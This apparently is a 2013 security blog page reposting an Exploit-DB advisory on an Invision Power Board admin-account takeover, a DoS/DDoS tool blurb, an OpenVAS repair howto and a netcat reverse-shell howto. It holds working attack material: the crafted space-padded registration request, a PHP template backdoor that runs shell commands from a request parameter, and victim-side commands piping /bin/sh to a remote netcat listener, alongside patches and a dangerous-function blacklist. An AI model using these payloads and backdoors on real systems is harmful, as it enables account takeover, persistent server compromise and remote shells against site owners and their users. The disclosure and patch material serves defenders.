May 17, 2013

IPB (Invision Power Board) all versions (1.x? / 2.x / 3.x) - Admin Account Takeover

IPB (Invision Power Board) all versions (1.x? / 2.x / 3.x) Admin account Takeover leading to code execution

Written on : 2013/05/02
Released on : 2013/05/13
Author: John JEAN (@johnjean on twitter)
Affected application: Invision Power Board <= 3.4.4
Type of vulnerability: Logical Vulnerability / Bad Sanitization
Required informations : Administrator's email
Evaluated Risk : Critical
Solution Status : A patch has been released which fixes these vulnerabilities
References :  http://www.john-jean.com/blog/securite-informatique/ipb-invision-power-board-all-versions-1-x-2-x-3-x-admin-account-takeover-leading-to-code-execution-742


[0] Application description & Deployment estimation

From wikipedia.org:
Invision Power Board (abbreviated IPB, IP.Board or IP Board) is an Internet forum software produced by Invision Power Services, Inc. It is written in PHP and primarily uses MySQL as a database management system, although support for other database engines is available. While Invision Power Board is a commercially sold product, there is a large modding community and many of these modifications are free. In addition, many groups offer the download or design of free and paid skins.

----

This software is deployed on very popular websites such as: NASA, EMI, NHL, NBC, O'Reilly, Evernote, ...

You can easily find tens of thousands of deployed instances using Google dorks such as: "inurl:index.php?app=core" or "powered by Invision Power Board".



[I] Logic Flaw

 A) Overview

IPB harbors a sanitization flaw in its registration form and user control panel (accessible once logged in). Incorrect e-mail address validation code allows an attacker to take over the admin account without prompting any alert but preventing the real admin to login afterwards. After a successful takeover, the attacker can plant a PHP backdoor using IPB's templating system. Thorough administrators will inspect total file system after they recover their hacked account, while other administrators might assume they are dealing with a bug, receive their new password using "Password recovery" system and leave the backdoor intact. Attacker may also use the "Retrieve password" process to mislead the admin into thinking their account was locked due to unsuccessful login attempts and not investigating further, thus preserving the backdoor.


 B) Required data

  1) Administrator's login name

The admin login is easily found by clicking on "The moderating Team" link on recent IPB's footer, or using the URL below: index.php?app=forums&module=extras§ion=stats&do=leaders


  2) Administrator's e-mail

Obtaining the admin e-mail may be more complicated as there is no automated way to get it. The attacker can get it through:

     - using whois on domain.tld to get registrar informations
     - looking up a prospective e-mail on Facebook and see if a matching profile shows up
     - using Gravatar (Gravatar is a personal avatar you can find on most blogs, forum, etc comments based on user e-mail address). Attacker can create a script to retrieve an email based on an avatar. For example mine is: http://www.john-jean.com/gravapwnd.php?zboob=john@wargan.com
     - do sourcing using FB, G+, Twitter, Google SERP, ...
     - use SE methods, such as faked e-mail catcher; or use XSSs on known websites consulted by the target.


 C) Explanation

This vulnerability is grounded on both a mistake in MySQL knowledge and bad sanitization of the $email variable.
  1) First of all, let's summarize how MySQL works:

   - Truncating while INSERT

During an INSERT query, if the string exceeds the field size defined when creating the table, the string will be truncated. E.g.:

************************ BEGIN OF CODE ************************
CREATE TABLE `test` (
`limitvarchar` varchar(5) NOT NULL
);
---
INSERT INTO `test` (`limitvarchar`) VALUES ('123456789');
---
SELECT * FROM `test`
> 12345
************************* END OF CODE ***************************

However, the string is not truncated during SELECT queries. The following query will not return any result:

************************ BEGIN OF CODE ************************
SELECT * FROM `test` WHERE `limitvarchar` = "123456"
************************* END OF CODE ***************************

MySQL use permissive SELECT: 
SELECT ignores spaces at the end of strings. Let's INSERT some datas:

************************ BEGIN OF CODE ************************
INSERT INTO `divers`.`test` (`limitvarchar`) VALUES ('1    ');
INSERT INTO `divers`.`test` (`limitvarchar`) VALUES ('1   ');
INSERT INTO `divers`.`test` (`limitvarchar`) VALUES ('1  ');
INSERT INTO `divers`.`test` (`limitvarchar`) VALUES ('1 ');
INSERT INTO `divers`.`test` (`limitvarchar`) VALUES ('1');
************************* END OF CODE ***************************

Thus the following query will yield the 5 records inserted before:

************************ BEGIN OF CODE ************************
SELECT * FROM `test` WHERE limitvarchar='1    '
************************* END OF CODE ***************************

Now, let's have a look at the checkEmailAddress function of admin/source/base/core.php:

************************ BEGIN OF CODE ************************

/**
  * Check email address to see if it seems valid
  *
  * @param string  Email address
  * @return boolean
  * @since 2.0
  */
 static public function checkEmailAddress( $email = "" )
 {
  $email = trim($email);

  $email = str_replace( " ", "", $email );

  //-----------------------------------------
  // Check for more than 1 @ symbol
  //-----------------------------------------

  if ( substr_count( $email, '@' ) > 1 )
  {
   return FALSE;
  }

  if ( preg_match( '#[\;\#\n\r\*\'\"<>&\%\!\(\)\{\}\[\]\?\\/\s\,]#', $email ) )
  {
   return FALSE;
  }
  /* tld increased to 32 characters as per RFC - http://community.invisionpower.com/resources/bugs.html/_/ip-board/ipstextcheckemailaddress-does-not-match-new-2013-tlds-r41518*/
  else if ( preg_match( '/^.+\@(\[?)[a-zA-Z0-9\-\.]+\.([a-zA-Z]{2,32}|[0-9]{1,4})(\]?)$/', $email) )
  {
   return TRUE;
  }
  else
  {
   return FALSE;
  }
 }

************************* END OF CODE ***************************

As you may know, trim only removes whitespace (and some others) characters BEFORE and AFTER the string, that is why IPB core team also use str_replace to remove space chars IN the email string. However, this treatment is performed to change the email address to the correct format. This is done to ensure the next steps of the check, but there will be no condition returning false if string has been trim or if str_replace has been used. This function checks an email validity format used in the register form and the change email form.

Let's take a look at a another function called load( $member_key, $extra_tables='all', $key_type='' ) in admin/sources/base/ipsMember.php

************************ BEGIN OF CODE ************************
 static public function load( $member_key, $extra_tables='all', $key_type='' )
 {
  //-----------------------------------------
  // INIT
  //-----------------------------------------

  $member_value    = 0;
  $members         = array();
  $multiple_ids    = array();
  $member_field    = '';
  $joins           = array();
  $tables          = array( 'pfields_content' => 0, 'profile_portal' => 0, 'groups' => 0, 'sessions' => 0, 'members_partial' => 0 );
  $remap           = array( 'extendedProfile'    => 'profile_portal',
             'customFields'       => 'pfields_content');

  //-----------------------------------------
  // ID or email?
  //-----------------------------------------

  if ( ! $key_type )
  {
   if ( is_array( $member_key ) )
   {
    $multiple_ids = array_map( 'intval', $member_key ); // Bug #20908
    $member_field = 'member_id';
   }
   else
   {
    if ( strstr( $member_key, '@' ) )
    {
     $member_value = "'" . ipsRegistry::DB()->addSlashes( strtolower( $member_key ) ) . "'";
     $member_field = 'email';
    }
    else
    {
     $member_value = intval( $member_key );
     $member_field = 'member_id';
    }
   }
  }
[...]

case 'email':
     if ( is_array( $member_key ) )
     {
      array_walk( $member_key, create_function( '&$v,$k', '$v="\'".ipsRegistry::DB()->addSlashes( strtolower( $v ) ) . "\'";' ) );
      $multiple_ids = $member_key;
     }
     else
     {
      $member_value = "'" . ipsRegistry::DB()->addSlashes( strtolower( $member_key ) ) . "'";
     }
     $member_field = 'email';

************************* END OF CODE ***************************

As you can see, this function does not perform any verification on the length of $member_key & $v. We will exploit that in the next part.

 D) Exploitation

Previously, on this adviso: we saw that $email is not rejected if it contains spurious whitespace, and that $member_key & $v length is not checked. We also saw some MySQL use-cases. Let's see how we can exploit that:

The e-mail field from the `members` table in IPB is declared as a varchar(150).
Upon registration, we fill the mail member (or admin) for which we want to steal the account to which we add a padding space for the size of the string exceeds 150. Then we add any character after the space one. It is necessary to bypass ajax's validator, feel free to use Burp Suite or Tamperdata.

For example:
Real administrator's email: 'admin@admin.com'
Attacker's mail fill: 'admin@admin.com                                                                                                                                       AAAA' <- ends here

The SELECT query checking existing e-mails will not yield any result:
SELECT * FROM members WHERE email='admin@admin.com                                                                                                                                       AAAA' <- ends here

The new account is successfully created. Our account is now using the e-mail address below:
'admin@admin.com                                                                                                                                       ' <- ends here
AAAA has been deleted by MySQL: string exceeding 150 characters are truncated.

At this stage, we have two users with very similar e-mail addresses:
Administrator is: 'admin@admin.com'
Attacker is: 'admin@admin.com                                                                                                                                       ' <- ends here

POST HTTP request looks like (on registration page):

************************ BEGIN OF CODE ************************
POST /~codereview/IPB/index.php?app=core&module=global§ion=register HTTP/1.1
Host: gfy.wargan.com
User-Agent: Wargan/1.0 (WarganOS; Amstrad; rv:1.0)
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: fr,fr-fr;q=0.8,en-us;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
Referer: http://gfx.wargan.com/~codereview/IPB/index.php?app=core&module=global§ion=register
Cookie: session_id=00000000000; member_id=2; pass_hash=000000000000; ipsconnect_0000000000=1; coppa=0; rteStatus=rte
Connection: keep-alive
Content-Type: application/x-www-form-urlencoded
Content-Length: 466

termsread=1&agree_to_terms=1&do=process_form&coppa_user=0&nexus_pass=1&time_offset=1&dst=1&members_display_name=pentest&EmailAddress=pentest%40wargan.com            A&PassWord=pentest&PassWord_Check=pentest&recaptcha_challenge_field=03AHJ_VuvGN728OMAVD0UvgLdylK1KAt8WH0N2aezZZpZfluTG8wJmfSyhiKM0zYb7io5sk62SQ9fQ2Y1XKqPOmEG0hW9DrThpXgEh-DU73qdpZ_OPxkO_v1xg2k1dJSOCk0wZcxufezfezefezFM0LSCwjJn7bbJJMk&recaptcha_response_field=mmotlyiinducted&agree_tos=1
************************* END OF CODE ***************************

We now can change our password. The profile corresponding to our session's e-mail will be used. As already stated, spaces are not taken in consideration. The query will thus actually return the first matching e-mail result: the real administrator account. We will have actually changed the password of the administrator profile.

This flaw is usable both on the registration page and on the user control panel (index.php?app=core&module=usercp&tab=core&area=email).

 E) Backdooring

Once the attacker has got access to the administrator's backend, all he needs to do is go to /admin/index.php?adsess=000&app=core&module=templates§ion=templates&do=list&setID=1 and add some code to the defaultHeader template:

************************ BEGIN OF CODE ************************
<php>
if(isset($_REQUEST['pwnd']))
{
 $pwnd=$_REQUEST['pwnd'];
 echo `$pwnd`;
}

</php>
************************* END OF CODE ***************************

<php> & </php> markups are used by the IPB's templating system to add inline PHP code. `` characters in PHP are used to do system calls.
Once such a backdoor has been planted, any part of public_html can be compromised and it may also lead to privilege escalation on a dedicated server or LAN.

index.php?lolz=ls%20/
returns:
bin boot build dev etc home initrd.img initrd.img.old lib lost+found media mnt nonexistent opt proc root run sbin selinux srv sys tmp usr var vmlinuz vmlinuz.old


[II] Mitigation

 A) Patch party !

These are two quick & dirty patches, but they work.

admin/source/base/core.php should be:

************************ BEGIN OF CODE ************************
/**
  * Check email address to see if it seems valid
  *
  * @param string  Email address
  * @return boolean
  * @since 2.0
  */
 static public function checkEmailAddress( $email = "" )
 {

 if (strlen($email) > 150) return FALSE;
  email = trim($email);
  $email = str_replace( " ", "", $email );


  //-----------------------------------------
  // Check for more than 1 @ symbol
  //-----------------------------------------

  if ( substr_count( $email, '@' ) > 1 )
  {
   return FALSE;
  }

  if ( preg_match( '#[\;\#\n\r\*\'\"<>&\%\!\(\)\{\}\[\]\?\\/\s\,]#', $email ) )
  {
   return FALSE;
  }
  /* tld increased to 32 characters as per RFC - http://community.invisionpower.com/resources/bugs.html/_/ip-board/ipstextcheckemailaddress-does-not-match-new-2013-tlds-r41518*/
  else if ( preg_match( '/^.+\@(\[?)[a-zA-Z0-9\-\.]+\.([a-zA-Z]{2,32}|[0-9]{1,4})(\]?)$/', $email) )
  {
   return TRUE;
  }
  else
  {
   return FALSE;
  }
 }
************************* END OF CODE ***************************

Enforces the e-mail variable to be shorter than 150 characters.

admin/source/base/ipsMember.php should be:

************************ BEGIN OF CODE ************************
if ( strstr( $member_key, '@' ) )
{
 $member_value = "'" . ipsRegistry::DB()->addSlashes( strtolower( substr($member_key,0,140) ) ) . "'";
 $member_field = 'email';
}

[...]

if ( is_array( $member_key ) )
{
 array_walk( $member_key, create_function( '&$v,$k', '$v="\'".ipsRegistry::DB()->addSlashes( strtolower( substr($v,0,140) ) ) . "\'";' ) );
 $multiple_ids = $member_key;
}
else
{
 $member_value = "'" . ipsRegistry::DB()->addSlashes( strtolower( substr($member_key,0,140) ) ) . "'";
}
$member_field = 'email';
************************* END OF CODE ***************************

This will truncate the string to 140 characters. 

Patching 1st or 2nd file fixes the bug.


 B) Common sense

  - Never use a known email-adress for your application deployment, monitoring, supervision, ... You may use catch-all, or even better, another domain.tld than your own.
  - Never deploy applications you do not completely trust (no one ?) or you did not code review on shared hosting with other projects or applications that are not on that same network. Especially forums that expose a wide attack surface to malicious users.
  - Use mitigation systems such as IDS (which can be evaded depending on your attacker skills).
  - Blacklist dangerous php functions (using http://www.hardened-php.net/suhosin/configuration.html#suhosin.executor.func.blacklist ?)
   php_admin_value open_basedir /home/ipb/:/usr/share/php/
   php_admin_value suhosin.executor.func.blacklist exec,dl,fpassthru,move_uploaded_file,phpinfo,passthru,shell_exec,system,proc_open,popen,curl,curl_exec,curl_multi_exec,parse_ini_file,show_source, ...
  - Use a chrooted environment
  - ...

[III] Recommendations

The vendor has released a patch which fixes these vulnerabilities. It is strongly recommended to upgrade your software version: http://community.invisionpower.com/topic/385207-ipboard-32x-33x-and-34x-critical-security-update/

[IV] Timeline

2013/05/02: Advisory sent to IPB
2013/05/02: IPB responded
2013/05/03: Patch has been released
2013/05/03: IPB asked to wait at least a week before publishing advisory to protect their huge community
2013/05/13: Advisory is released

[V] Author

John JEAN is a French security researcher working at Wargan Solutions - http://www.wargan.com
Follow him on twitter @johnjean



Source: http://www.exploit-db.com/exploits/25441/

If you like my blog, Please Donate Me
Or Click The Banner For Support Me.

Tool: HTTPFlooder [DoS/DDoS HTTP tool]

HTTPFlooder is a tool that can perform stress tests, load tests, botnet simulation, DoS/DDoS tests and fuzzing for HTTP protocol.

It supports the following attack types:

GET Flood
POST Flood
Slow Headers (Slowlories)
Slow POST
Hash DoS
Mix Flood (mixing GET/POST Flood)
Range Bytes
HTTP Header Fuzzing
Slow Header Fuzzing
MX Flooder over Balancer



Source: https://code.google.com/p/httpflooder/

If you like my blog, Please Donate Me
Or Click The Banner For Support Me.

Howto: Fix OpenVAS on Kali[Backtrack 6]

If you want to download the fix script, please go to the Source. 
 
1. Remove all old lib and program 
apt-get remove --purge greenbone-security-assistant libopenvas6 openvas-administrator openvas-manager openvas-cli openvas-scanner
 
2. Create folder for download the new package
mkdir openvasfix
 
3. Go into new folder and download necessary package
cd openvasfix
wget http://repo.kali.org/kali/pool/main/o/openvas-manager/openvas-manager_3.0.4-1kali0_amd64.deb
wget http://repo.kali.org/kali/pool/main/o/openvas-administrator/openvas-administrator_1.2.1-1kali0_amd64.deb
wget http://repo.kali.org/kali/pool/main/o/openvas-cli/openvas-cli_1.1.5-1kali0_amd64.deb
wget http://repo.kali.org/kali/pool/main/o/openvas-scanner/openvas-scanner_3.3.1-1kali1_amd64.deb
wget http://repo.kali.org/kali/pool/main/o/openvas/openvas_1.1_amd64.deb
wget http://repo.kali.org/kali/pool/main/g/greenbone-security-assistant/greenbone-security-assistant_3.0.3-1kali0_amd64.deb
wget http://repo.kali.org/kali/pool/main/libo/libopenvas/libopenvas5_5.0.4-1kali0_amd64.deb
 
4. Install all
dpkg -i * 
apt-get install gsd kali-linux kali-linux-full
 
5. Download the latest OpenVAS
wget https://svn.wald.intevation.org/svn/openvas/trunk/tools/openvas-check-setup
chmod +x openvas-check-setup
 
6. Setup OpenVAS again 
./openvas-check-setup --v5


Source: http://top-hat-sec.com/forum/index.php?topic=2954.0

If you like my blog, Please Donate Me
Or Click The Banner For Support Me.

May 12, 2013

Howto: Netcat without -e(Execute command on victim machine)

If you want the explain of this howto, please go to the Source.

In the Hacker machine, Create netcat server
- nc -nvlp 443

In the victim machine
- mknod /tmp/backpipe p 
made a named pipe (also called a FIFO) called backpipe using the mknod command. The mknod command lets me create things in the file system, and here I'm creating something called "backpipe" that is of type "p", which is a named pipe. Alternatively, we could have used the mkfifo command available on some Linuxes and Unix variants, leaving off the p option. This FIFO will be used to shuttle data back to our shell's input. I created my backpipe in /tmp because pretty much any account is allowed to write there. 

- /bin/sh 0</tmp/backpipe | nc hacker 443 1>/tmp/backpipe
Then, I invoke my shell (/bin/sh), the most common shell available on all kinds of Linuxes and Unixes, pulling its Standard Input from the backpipe (0</tmp/backpipe). I pipe the output of /bin/sh (|) to my Netcat client. That Netcat client connects to the pentestbox on port 443 (nc pentestbox 443). I then take Netcat's Standard Output and dump it into the backpipe (1>/tmp/backpipe). On most shells, you can dispense with the 0< and 1> syntax, but on occasion, I've seen some weird shells where it doesn't work unless you use 0< and 1>. I always throw them in, just to make sure it'll work.

If you have raw command injection, in which you can execute arbitrary programs on the target machine, but without a shell (sometimes that happens with very vulnerable web apps), you'll have to modify the command just a bit. You'll need to invoke your own shell on the local target box (/bin/sh), which then in turn (using the —c option) invokes the backdoor shell (another /bin/sh) and all the great redirect stuff to invoke Netcat. Do that by injecting the following command:
/bin/sh —c "/bin/sh 0</tmp/backpipe | nc pentestbox 443 1>/tmp/backpipe"

Source: http://pen-testing.sans.org/blog/pen-testing/2013/05/06/netcat-without-e-no-problem 
 
 

If you like my blog, Please Donate Me
Or Click The Banner For Support Me.
 

Sponsors

lusovps.com

Blogroll

About

 Please subscribe my blog.

 Old Subscribe

Share |